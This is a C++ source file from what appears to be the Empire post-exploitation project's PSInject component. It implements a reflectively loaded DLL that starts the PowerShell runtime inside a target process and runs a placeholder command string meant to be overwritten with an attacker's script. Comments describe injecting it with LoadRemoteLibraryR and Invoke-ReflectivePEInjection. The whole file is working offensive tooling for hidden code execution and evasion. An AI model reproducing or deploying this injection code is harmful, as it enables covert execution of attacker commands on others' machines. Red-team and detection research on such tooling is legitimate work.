PSInject/UnmanagedPowerShell/ReflectiveDll.cpp at master · EmpireProject/PSInject · GitHub

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//===============================================================================================//
// This is a stub for the actuall functionality of the DLL.
//===============================================================================================//
#include "stdafx.h"
#include "ReflectiveLoader.h"
#include "PowerShellRunnerDll.h"
#include "UnmanagedPowerShell.h"

// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.

// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c)
extern HINSTANCE hAppInstance;


void DoStuff(LPVOID lpParam)
{
	CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);

	_Type* PsRuntime = NULL;
	HRESULT hr = NULL;
	wchar_t* argument = L"Invoke-Replace                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ";

	hr = SetupPSRuntime(&PsRuntime);
	if (SUCCEEDED(hr) && PsRuntime != NULL) {
		InvokeMethod(PsRuntime, L"InvokePS", argument);
		CoUninitialize();
		//return 0;
	}
	else {
		//return -1;
	}

}

// Currently called by Invoke-ReflectivePEInjection. This export will be removed once we're using Invoke-ShellCode instead.
extern "C" __declspec(dllexport) void VoidFunc()
{
	DoStuff(NULL);
}

//===============================================================================================//
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
    BOOL bReturnValue = TRUE;
	switch( dwReason )
    {
		case DLL_QUERY_HMODULE:
			if( lpReserved != NULL )
				*(HMODULE *)lpReserved = hAppInstance;
			break;
		case DLL_PROCESS_ATTACH:
			hAppInstance = hinstDLL;

			//DoStuff(NULL);

			break;
		case DLL_PROCESS_DETACH:
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
            break;
    }
	return bReturnValue;
}